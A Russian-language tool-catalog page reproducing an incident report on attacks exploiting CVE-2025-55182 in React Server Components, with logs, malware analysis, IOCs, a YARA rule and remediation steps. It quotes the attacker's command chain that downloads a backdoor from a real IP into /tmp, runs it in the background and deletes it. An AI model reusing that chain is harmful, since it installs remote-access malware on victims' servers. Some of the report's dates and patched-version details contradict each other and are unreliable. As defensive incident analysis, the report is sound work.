Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2025-55182-Attack-Analysis — Анализ реальных атак на CVE-2025-55182 (React2Shell) — уязвимость удалённого выполнения кода (RCE) в React Server Components | Kitploit
Инструменты/GitHubGitHub/ngvcanh/cve-2025-55182-attack-analysis
Управление индикаторами компрометации (IOC)Анализ уязвимостейФорензикаВеб-безопасностьАнализ вредоносных программРазведка угрозОбучение и ОбразованиеРеагирование на Инциденты

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
GitHub
ngvcanh/cve-2025-55182-attack-analysis

CVE-2025-55182-Attack-Analysis

Анализ реальных атак на CVE-2025-55182 (React2Shell) — уязвимость удалённого выполнения кода (RCE) в React Server Components

Репозиторий
69 месяцев назадЕщё не проверено
Поделиться

Анализ атаки CVE-2025-55182: Удалённое выполнение кода в React Server Components

Анализ реальной атаки на production-приложение Next.js

📋 Содержание

  • Краткое резюме
  • Обзор уязвимости
  • Хронология атаки
  • Технический анализ
  • Анализ вредоносного ПО
  • Индикаторы компрометации (IOC)
  • Меры по устранению и реагированию
  • Выводы
  • Ссылки

Краткое резюме

5 декабря 2025 года наше production-приложение Next.js подверглось атаке злоумышленников, эксплуатировавших CVE-2025-55182 (React2Shell) — критическую уязвимость удалённого выполнения кода (RCE) в React Server Components. В ходе атаки была предпринята попытка загрузить и запустить на нашем сервере Linux-троян типа backdoor.

АтрибутЗначение
CVE IDCVE-2025-55182
Оценка CVSS9.8 (критическая)
Дата атаки5 декабря 2025 года
Результат атаки✅ Заблокирована (после установки патча)
Тип вредоносного ПОLinux-троян типа backdoor
Затронутый стекNext.js + React Server Components

Обзор уязвимости

Что такое CVE-2025-55182?

CVE-2025-55182, также известная как «React2Shell», — критическая уязвимость удалённого выполнения кода (RCE), затрагивающая React Server Components (RSC) в:

  • React: версии 19.0.0 - 19.2.1
  • Next.js: версии 15.x и 16.x (до установки патчей)

Первопричина

Уязвимость находится в функции renderToReadableStream() внутри Flight Server в React. При обработке специально сформированных RSC-полезных нагрузок сервер не выполняет должную санитизацию определённых входных данных, что приводит к произвольному выполнению кода.

Вектор атаки

root@kitploit:~
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE

Атакующий отправляет специально сформированный POST-запрос с вредоносной сериализованной полезной нагрузкой, которая десериализуется и выполняется на сервере.


Хронология атаки

Этап 1: Первые попытки эксплуатации (до установки патча)

Время (UTC)Событие
5 дек., 06:20Первая атака обнаружена через Sentry
5 дек., 06:20Полезная нагрузка пытается выполнить shell-команды
5 дек., 06:20Атака частично успешна (до установки патча)

Журнал ошибок Sentry (до установки патча):

root@kitploit:~
Error: root
  at eval (eval at <anonymous>, <anonymous>:3:6)
  at nk (chunk.js)
  at JSON.parse (<anonymous>)
  at n5 (/app/node_modules/next/dist/server/app-render.js)

Этап 2: Развёртывание патча

ВремяДействие
4 дек., 14:13Обновление до Next.js 16.0.7
4 дек., 14:13Развёрнута пропатченная версия (v1.0.0-beta-4)

Этап 3: Атака заблокирована после установки патча

Время (UTC)Событие
5 дек., 08:48Попытка атаки обнаружена
5 дек., 08:48Выполнение полезной нагрузки ЗАБЛОКИРОВАНО
5 дек., 08:48Ошибка: syntax error: unexpected ";"

Журнал ошибок Sentry (после установки патча):

root@kitploit:~
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ; 
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"

Патч успешно предотвратил выполнение вредоносной команды.


Технический анализ

Детали атакующего запроса

АтрибутЗначение
Целевой URLhttps://[REDACTED]/

Анализ полезной нагрузки

Атакующий попытался выполнить следующую цепочку команд:

root@kitploit:~
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim

Разбор по шагам:

Окружение сервера

КомпонентВерсия
ОСAlpine Linux 3.23.0
Среда выполненияNode.js v20.19.6
ФреймворкNext.js 16.0.7 (пропатчен)

Анализ вредоносного ПО

Информация о файле

Результаты VirusTotal

Уровень обнаружения: 13/72 (18 %)

Ссылка на VirusTotal: Просмотреть анализ

Анализ бинарного файла

Заголовок ELF:

root@kitploit:~
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000  .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000  ..>.....`.E.....

Выявленные возможности:

Извлечённые строки (релевантные):

root@kitploit:~
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack

Сработавшие правила IDS

СерьёзностьПравилоИсточник
НИЗКАЯET POLICY HTTP traffic on port 443 (POST)Proofpoint ET Open
НИЗКАЯET DNS Query for .cc TLDProofpoint ET Open

Классификация вредоносного ПО

Тип: Linux-троян типа backdoor

Возможности:

  • Удалённый доступ к shell
  • Связь с командным центром (C2)
  • Загрузка и скачивание файлов
  • Шифрованная связь
  • Туннелирование трафика через SOCKS5
  • Механизмы закрепления в системе

Индикаторы компрометации (IOC)

Сетевые IOC

Файловые IOC

Поведенческие IOC

YARA-правило

root@kitploit:~
rule CVE_2025_55182_Backdoor {
    meta:
        description = "Detects backdoor distributed via CVE-2025-55182"
        author = "Security Researcher"
        date = "2025-12-05"
        hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
    
    strings:
        $elf = { 7F 45 4C 46 }
        $go1 = "vendor/golang.org/x/crypto" ascii
        $go2 = "vendor/golang.org/x/net" ascii
        $net1 = "net/http" ascii
        $net2 = "socks5" ascii
        $crypto1 = "crypto/tls" ascii
        $crypto2 = "chacha20poly1305" ascii
    
    condition:
        $elf at 0 and
        (2 of ($go*)) and
        (1 of ($net*)) and
        (1 of ($crypto*))
}

Меры по устранению и реагированию

Немедленно принятые меры

Жалоба о злоупотреблении

5 декабря 2025 года в Vultr (хостинг-провайдер C2-сервера) была подана жалоба о злоупотреблении, содержащая:

  • Вредоносный IP-адрес и URL
  • SHA256-хеш вредоносного ПО
  • Ссылку на анализ VirusTotal
  • Описание вектора атаки (CVE-2025-55182)

Пропатченные версии

ПакетУязвимые версииПропатченные версии
Next.js< 15.3.3, < 16.0.5≥ 15.3.3, ≥ 16.0.5
React19.0.0 - 19.1.0≥ 19.2.1 (июнь 2025+)

Рекомендуемые меры защиты

1. Немедленно обновитесь:

root@kitploit:~
# For Next.js 16.x
npm install [email protected] [email protected] [email protected]

# For Next.js 15.x
npm install [email protected] [email protected] [email protected]

2. Заблокируйте вредоносный IP:

root@kitploit:~
# iptables
sudo iptables -A INPUT -s 45.76.155.14 -j DROP
sudo iptables -A OUTPUT -d 45.76.155.14 -j DROP

# UFW
sudo ufw deny from 45.76.155.14
sudo ufw deny to 45.76.155.14

3. Отслеживайте индикаторы компрометации:

root@kitploit:~
# Check for suspicious files
find /tmp -type f -executable 2>/dev/null

# Check for suspicious processes
ps aux | grep -E "(vim|/tmp/)"

# Check network connections
netstat -an | grep "45.76.155.14"

4. Выполните ротацию всех секретов:

  • Учётные данные базы данных
  • JWT-секреты
  • API-ключи
  • Секреты сессий

Выводы

Что прошло успешно

  1. Мониторинг Sentry немедленно обнаружил атаку
  2. Быстрое развёртывание патча — в течение нескольких часов после раскрытия информации об уязвимости
  3. Контейнеризация Docker ограничила радиус поражения
  4. Защита после установки патча успешно заблокировала последующие атаки

Что можно улучшить

  1. Более быстрое обновление — сократить время между раскрытием CVE и установкой патча
  2. Правила WAF — добавить правила для обнаружения попыток эксплуатации RSC
  3. Фильтрация исходящего трафика — блокировать исходящие подключения к неизвестным IP-адресам
  4. Автоматические оповещения — настроить алерты на подозрительные shell-команды

Рекомендации по безопасности


Ссылки

Официальные уведомления

  • Уведомление о безопасности Next.js
  • Обновления безопасности React
  • Сведения о CVE-2025-55182

Ресурсы для анализа

  • Анализ VirusTotal
  • MalwareBazaar

Использованные инструменты

  • Sentry — мониторинг ошибок
  • VirusTotal — анализ вредоносного ПО
  • Docker — контейнеризация

Дисклеймер

Этот отчёт опубликован исключительно в образовательных и защитных целях. Бинарный файл вредоносного ПО не включён в этот репозиторий. Исследователи безопасности могут получить образец через VirusTotal, используя указанный SHA256-хеш.


Автор

Опубликовано: 5 декабря 2025 года

Контакты: [Ваши контактные данные или профиль GitHub]


Лицензия

Этот анализ опубликован под лицензией CC BY 4.0. Вы можете свободно делиться этим материалом и адаптировать его с указанием авторства.


Журнал изменений

ДатаВерсияИзменения
2025-12-051.0Первая публикация
Скачать инструмент
МетодPOST
User-AgentPython Requests 2.31
ИсточникАвтоматизированный скрипт атаки
ШагКомандаНазначение
1wget http://45.76.155.14/vim -O /tmp/vimЗагрузка вредоносного ПО
2chmod +x /tmp/vimСделать исполняемым
3nohup /tmp/vim > /dev/null 2>&1 &Запуск в фоне, сохранение после выхода из сессии
4rm -f /tmp/vimУдаление улик
КонтейнерDocker
АтрибутЗначение
Имя файлаvim (замаскирован под легитимный инструмент)
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
Тип файлаELF 64-bit LSB executable, x86-64
ЯзыкGo (скомпилированный бинарный файл)
Размер файла~4.7 МБ
ВендорИмя обнаружения
DrWebLinux.BackDoor.Siggen.389
AhnLab-V3Backdoor/Linux.Agent.4780032
KasperskyHEUR:Trojan.Linux.Agent.gen
ESET-NOD32Linux/Agent.PX Trojan
Avast/AVGELF:Agent-BQE [Trj]
AliCloudTrojan:Linux/Agent.ff565f70
Antiy-AVLTrojan/Linux.Agent.px
RisingTrojan.Agent/Linux!8.13268
SentinelOneStatic AI - Suspicious ELF
TencentMalware.Linux.Generic.1c03c8b9
ZillyaTrojan.Agent.Linux.5292
ВозможностьПодтверждение
HTTP/HTTPS-клиентnet/http, *http.Client
TLS-шифрованиеcrypto/tls, crypto/aes
SOCKS5-проксиsocks, socks5
DNS-резолвингnet/dns/dnsmessage
Стойкая криптографияchacha20poly1305, Ed25519
ТипЗначениеОписание
IP-адрес45.76.155.14Сервер распространения вредоносного ПО
URLhttp://45.76.155.14/vimURL загрузки вредоносного ПО
ХостингVultr VPSОблачный провайдер
TLD.ccДомен C2 использует TLD .cc
ТипЗначение
SHA2560f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce
SHA1[Рассчитать при необходимости]
MD5[Рассчитать при необходимости]
Имя файлаvim (замаскирован)
Тип файлаELF 64-bit x86-64
Размер файла~4.7 МБ
ИндикаторОписание
wget на внешний IPЗагрузка с нестандартных URL
Файлы в /tmp/Подозрительный исполняемый файл во временной директории
nohup + фоновое выполнениеПопытка закрепления в системе
Немедленное удаление файлаЗачистка улик
User-Agent Python RequestsИнструмент автоматизированной атаки
МераСтатусДетали
✅ Обновление Next.jsЗавершено16.0.4 → 16.0.7
✅ Обновление ReactЗавершено19.1.0 → 19.2.1 (пропатчен)
✅ Повторное развёртывание приложенияЗавершеноПересборка Docker
✅ Анализ вредоносного ПОЗавершеноОтправка в VirusTotal
✅ Жалоба хостинг-провайдеруЗавершеноОтправлена жалоба Vultr
⏳ Ротация учётных данныхОжидаетБаза данных, JWT, API-ключи
КатегорияРекомендация
МониторингВнедрить мониторинг ошибок в реальном времени (Sentry и т.п.)
ОбновленияПодписаться на уведомления о безопасности для всех зависимостей
СетьВнедрить фильтрацию исходящего трафика, блокировать ненужные исходящие подключения
КонтейнерыЗапускать от не-root пользователя, использовать read-only файловые системы
СекретыРегулярно выполнять ротацию учётных данных, использовать менеджер секретов